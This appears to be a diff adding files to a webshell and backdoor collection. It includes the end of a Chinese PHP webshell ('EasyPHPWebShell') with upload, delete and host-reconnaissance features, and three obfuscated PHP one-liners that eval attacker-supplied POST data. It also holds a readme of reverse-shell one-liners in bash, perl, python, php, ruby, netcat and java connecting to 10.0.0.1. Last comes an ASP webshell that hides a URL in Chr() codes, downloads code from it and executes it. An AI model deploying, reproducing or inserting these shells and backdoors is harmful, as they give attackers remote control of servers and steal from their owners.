+			echo  $out = @copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")?"上传文件[{$userfile['name']}]成功.位置:[{$filedir}/{$userfile['name']}]共({$userfile['size']})字节.":"上传文件[{$userfile['name']}]失败";
+		}else{
+			echo "错误的提交参数action.";
+		}
+	?>
+	<p>
+	<a href="?action=dir&dir=<?=urlencode($dir);?>">点此返回文件浏览页面</a>
+	<p>
+	</td>
+	</tr>
+	</table>
+
+<?}else if($action=="env"){?>
+	环境变量&nbsp;&nbsp;<?=$rny?>支持&nbsp;&nbsp;<?=$rnn?>不支持<br>
+	</td>
+	</tr>
+	<?
+	$sinfo[0] = array("主机域名:",$_SERVER["SERVER_NAME"]);
+	$sinfo[1] = array("主机IP:",gethostbyname($_SERVER["SERVER_NAME"]));
+	$sinfo[2] = array("主机端口:",$_SERVER["SERVER_PORT"]);
+	$sinfo[3] = array("主机时间:",date("Y/m/d_h:i:s",time()));
+	$sinfo[4] = array("主机系统:",PHP_OS);
+	$sinfo[5] = array("主机WEB服务器",$_SERVER["SERVER_SOFTWARE"]);
+	$sinfo[6] = array("PHP版本:",PHP_VERSION);
+	$sinfo[7] = array("剩余空间:",intval(diskfreespace(".") / (1024 * 1024).'MB'));
+	$sinfo[8] = array("主机语言",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
+	$sinfo[9] = array("当前用户",get_current_user());
+	$sinfo[10] = array("最大内存占用:",my_func("memory_limit",1));
+	$sinfo[11] = array("最大单个上传文件",my_func("upload_max_filesize",1));
+	$sinfo[12] = array("POST最大容量",my_func("post_max_size",1));
+	$sinfo[13] = array("脚本超时",my_func("max_execution_time",1));
+	$sinfo[14] = array("屏蔽的函数",my_func("disable_functions",1));
+
+	$ssql[0] = array("MYSQL",my_func("mysql_close",2)); 
+	$ssql[1] = array("Oracle",my_func("ora_close",2)); 
+	$ssql[2] = array("Oracle 8",my_func("OCILogOff",2)); 
+	$ssql[3] = array("OBDC",my_func("odbc_close",2)); 
+	$ssql[4] = array("SyBase",my_func("sybase_close",2)); 
+	$ssql[5] = array("SQL_Server",my_func("mssql_close",2)); 
+	$ssql[6] = array("DBase",my_func("dbase_close",2)); 
+	$ssql[7] = array("Hyperwave",my_func("hw_close",2));
+	$ssql[8] = array("Postgre_SQL",my_func("pg_close",2));
+
+	$sobj[0] = array("Session支持",my_func("session_start",2));
+	$sobj[1] = array("Socket支持",my_func("fsockopen",2));
+	$sobj[2] = array("压缩文件支持(Zlib)",my_func("gzclose",2));
+	$sobj[3] = array("SMTP支持",my_func("smtp",2));
+	$sobj[4] = array("XML支持",my_func("XML Support",3));
+	$sobj[5] = array("FTP支持",my_func("FTP support",3));
+	$sobj[6] = array("Sendmail支持",my_func("Internal Sendmail Support for Windows 4",3));
+	$sobj[7] = array("SNMP支持",my_func("snmpget",2));
+	$sobj[8] = array("PDF文档支持",my_func("pdf_close",2));
+	$sobj[9] = array("IMAP电子邮件支持",my_func("imap_close",2));
+	$sobj[10] = array("图形处理GD Library支持",my_func("imageline",2));
+	$sobj[11] = array("ZEND支持",my_func("zend_version",2)."(".zend_version().")");
+
+	$sobj[12] = array("允许使用URL打开文件",my_func("allow_url_fopen",2));
+	$sobj[13] = array("PREL相容语法 PCRE",my_func("preg_match",2));
+	$sobj[14] = array("显示错误信息",my_func("display_errors",2));
+	$sobj[15] = array("自动定义全局变量",my_func("register_globals",2));
+	$sobj[16] = array("PHP运行方式",strtoupper(php_sapi_name()));
+	?>
+
+	<tr>
+	<td align="center" bgcolor="#EEEEEE">
+		<table width="600" border="0" cellpadding="0" cellspacing="0"><br>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">主机信息</td></tr>
+			<?
+			for($i=0;$i<15;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$sinfo[$i][0]}</td><td>{$sinfo[$i][1]}</td></tr>";		
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">数据库支持信息</td></tr>
+			<?
+			for($i=0;$i<9;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$ssql[$i][0]}</td><td>{$ssql[$i][1]}</td></tr>";		
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">组件和其他信息</td></tr>
+			<?
+			for($i=0;$i<17;$i++){
+				$color=ch_color($color);
+				echo "<tr bgcolor=\"$color\"><td>{$sobj[$i][0]}</td><td>{$sobj[$i][1]}</td></tr>";
+			}
+			?>
+			<tr><td align="center" bgcolor="#000000" class="stylebtext3" colspan="2">自定义查看PHP配置参数(多个参数可用","逗号隔开)</td></tr>
+			<tr bgcolor="#EEEEEE">
+			<form method="post" action="?action=env" enctype="multipart/form-data">
+				<td colspan="2">请输入参数的ProgId或ClassId:
+					<input name="envname" type="text" size="50" class="style1" value=<?=isset($envname)?$envname:"";?>> 
+					<input name="envnameb" type="submit" value="查看" class="style1">
+				</td>
+			</form>
+			</tr>
+			<?
+				if(isset($envname)&&!empty($envname)){
+					$envname=explode(",", $envname);
+					$i=0;
+					while($envname[$i]){
+						echo "<tr bgcolor=\"#CCCCCC\"><td colspan=\"2\">查询[{$envname[$i]}]如下:</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_cfg_var方式</td><td>". my_func($envname[$i],1)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>function_exists方式</td><td>". my_func($envname[$i],2)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_magic_quotes_gpc方式</td><td>". my_func($envname[$i],3)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Get_magic_quotes_runtime方式</td><td>". my_func($envname[$i],4)."</td></tr>";
+						echo "<tr bgcolor=\"#EEEEEE\"><td>Getenv方式</td><td>". my_func($envname[$i],5)."</td></tr>";	
+						$i++;
+					}
+				}
+			?>
+		</table><br>
+	</td>
+	</tr>
+	</table>
+<?}else{
+	echo "错误的提交参数</td></tr><tr><td align=\"center\" bgcolor=\"#EEEEEE\"><br><a href=\"?action=dir&dir=".urlencode($dir)."\">点此返回文件浏览页面</a><p></td></tr></table>";
+}echoend();@ob_end_flush();?>
+
+<?
+
+function array_stripslashes(&$array) {
+    while(list($key,$var) = each($array)) {
+        if ((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv') {
+            if (is_string($var)) $array[$key] = stripslashes($var);
+            if (is_array($var)) $array[$key] = array_stripslashes($var);  
+        }
+    }
+    return $array;
+}
+
+function deltree($TagDir){ 
+	$mydir=@opendir($TagDir); 
+	while($file=@readdir($mydir)){ 
+		if((is_dir("$TagDir/$file")) && ($file!=".") && ($file!="..")) { 
+			if(!deltree("$TagDir/$file")) return false;
+		}else if(!is_dir("$TagDir/$file")){
+			@chmod("$TagDir/$file", 0777);
+			if(!@unlink("$TagDir/$file")) return false;
+		}
+	} 
+	@closedir($mydir); 
+	@chmod("$TagDir", 0777);
+	if(!@rmdir($TagDir)) return false;
+	return true;
+}
+
+function copydir($dirf,$dirt){
+    $mydir=@opendir($dirf);
+    while($file=@readdir($mydir)){
+        if((is_dir("$dirf/$file")) && ($file!=".") && ($file!="..")) {
+            if(!file_exists("$dirt/$file")) if(!@mkdir("$dirt/$file")) return false;
+            if(!copydir("$dirf/$file","$dirt/$file")) return false;
+        }else if(!is_dir("$dirf/$file")) if(!@copy("$dirf/$file","$dirt/$file")) return false;
+    }
+    return true;
+}
+
+function truepath($path){
+	if(file_exists($path)) return true;	
+	else{
+		if(truepath(@dirname($path))){
+			if(@mkdir($path)) return true;
+			else return false;
+		}else return false;
+	}
+}
+
+function getpageruntime(){
+    global $pagestarttime;
+    $pagestarttime = explode(' ', $pagestarttime);
+    $pageendtime = explode(' ',@microtime());
+    return ($pageendtime[0]-$pagestarttime[0]+$pageendtime[1]-$pagestarttime[1]);
+}
+
+function echoend(){
+    echo "<br><center>页面执行时间:".getpageruntime()." 秒<br>".
+    "<span class = \"stylebtext2\">EasyPHPWebShell 1.0(S8S8测试版)</span><br>脚本由 <b>网络技术论坛(<a href=\"http://www.s8s8.net\">http://www.s8s8.net</a>) ZV(<a href=\"mailto:zvrop@163.com\">zvrop@163.com</a>)</b> 编写<br>".
+    "Copyright (C) 2004 www.s8s8.net All Rights Reserved.</center>";
+}
+
+function gettruepath($path){
+    return str_replace("\\","/",@realpath($path));
+}
+
+function my_func($getname,$tp){
+	global $rny, $rnn;
+	$out = ($tp==1)?@get_cfg_var($getname):(($tp==2)?@function_exists($getname):(($tp==3)?@get_magic_quotes_gpc($getname):(($tp==4)?@get_magic_quotes_runtime($getname):(($tp==5)?@Getenv($getname):"error!"))));
+	return ($out == 1)?$rny:(($out == 0)?$rnn:$out);
+}
+
+function ch_color($c){
+	return $c=="#CCCCCC"?"#EEEEEE":"#CCCCCC";
+}
+
+function getloginpass(){
+	?>
+	<br><br><br><br><br><br><br>
+	<table align="center" width="300" border="0" cellpadding="0" cellspacing="0">
+    <tr>
+        <td align="center" bgcolor="#000000" class="stylebtext3">
+            欢迎使用,请输入密码
+        </td>
+    </tr>
+	<tr>
+		<form method="post" action="?action=login" enctype="multipart/form-data">
+        <td align="center" class="style1"><br>密码
+        <input name="pmy_password" type="password" size="30" class="style1"><p>
+		<input name="pmy_passwordb" type="submit" value="  登陆  " class="style1"><p>
+        </td>
+    </tr>
+	</table>
+	<?
+	exit;
+}
+?>

php/一句话2015-06-10-01.php

@@ -0,0 +1 @@
+<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>

php/一句话2015-06-10-02.php

@@ -0,0 +1 @@
+<?php call_user_func(create_function(null,'assert($_POST[c]);'));?>

php/一句话2015-06-10-03.php

@@ -0,0 +1 @@
+<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>

rec/readme.md

@@ -0,0 +1,69 @@
+Bash
+Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
+
+```bash
+bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
+```
+
+PERL
+Here’s a shorter, feature-free version of the perl-reverse-shell:
+
+```perl
+perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
+```
+There’s also an alternative PERL revere shell here.
+
+Python
+This was tested under Linux / Python 2.7:
+
+```python
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+```
+
+PHP
+This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
+
+```php
+php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
+```
+If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
+
+Ruby
+
+```ruby
+ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
+```
+
+Netcat
+Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
+
+```bash
+nc -e /bin/sh 10.0.0.1 1234
+```
+If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
+
+```bash
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
+```
+
+Java
+
+```java
+r = Runtime.getRuntime()
+p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+p.waitFor()
+```
+
+[Untested submission from anonymous reader]
+
+xterm
+One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
+
+```bash
+xterm -display 10.0.0.1:1
+```
+
+To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
+Xnest :1
+You’ll need to authorise the target to connect to you (command also run on your host):
+xhost +targetip

www-7jyewu-cn/README.md

@@ -4,5 +4,6 @@ url:http://www.7jyewu.cn/
 
 http://pan.baidu.com/share/home?uk=154628787&view=share#category/type=0
 
+极有可能存在后门。
 
 请谨慎使用，所造成的一切后果，与本人无关。

www-7jyewu-cn/aspmuma.asp

@@ -0,0 +1,47 @@
+<%@ LANGUAGE = VBScript.encode%><%
+Server.ScriptTimeout=999999999
+UserPass="admin"  '密码
+mNametitle ="免杀全球大马"  ' 标题
+Copyright="admin"  '版权
+SItEuRl=http://asp-muma.com/" '你的网站
+bg ="http://www.7jyewu.cn/webshell/asp.jpg" 
+ysjb=true  '是否有拖动效果,true为是,false为否
+
+function BytesToBstr(body,Cset) 
+dim objstream 
+set objstream = Server.CreateObject("adodb.stream")
+objstream.Type = 1 
+objstream.Mode =3 
+objstream.Open 
+objstream.Write body 
+objstream.Position = 0 
+objstream.Type = 2 
+objstream.Charset = Cset 
+BytesToBstr = objstream.ReadText 
+objstream.Close 
+set objstream = nothing 
+End function
+
+function PostHTTPPage(url) 
+dim Http 
+set Http=server.createobject("MSXML2.SERVERXMLHTTP.3.0")
+Http.open "GET",url,false 
+Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" 
+Http.send 
+if Http.readystate<>4 then 
+exit function 
+End if
+PostHTTPPage=bytesToBSTR(Http.responseBody,"gbk") 
+set http=nothing 
+if err.number<>0 then err.Clear 
+End function
+
+dim  aspCode
+aspCode=CStr(Session("aspCode"))
+if aspCode="" or aspCode=null or isnull(aspCode) then 
+aspCode=PostHTTPPage(Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 55 ) & Chr ( 106 ) & Chr ( 121 ) & Chr ( 101 ) & Chr ( 119 ) & Chr ( 117 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 110 ) & Chr ( 47 ) & Chr ( 105 ) & Chr ( 109 ) & Chr ( 103 ) & Chr ( 47 ) & Chr ( 49 ) & Chr ( 46 ) & Chr ( 106 ) & Chr ( 112 ) & Chr ( 103 ))
+Session("aspCode") =aspCode
+End if
+execute aspCode
+
+%>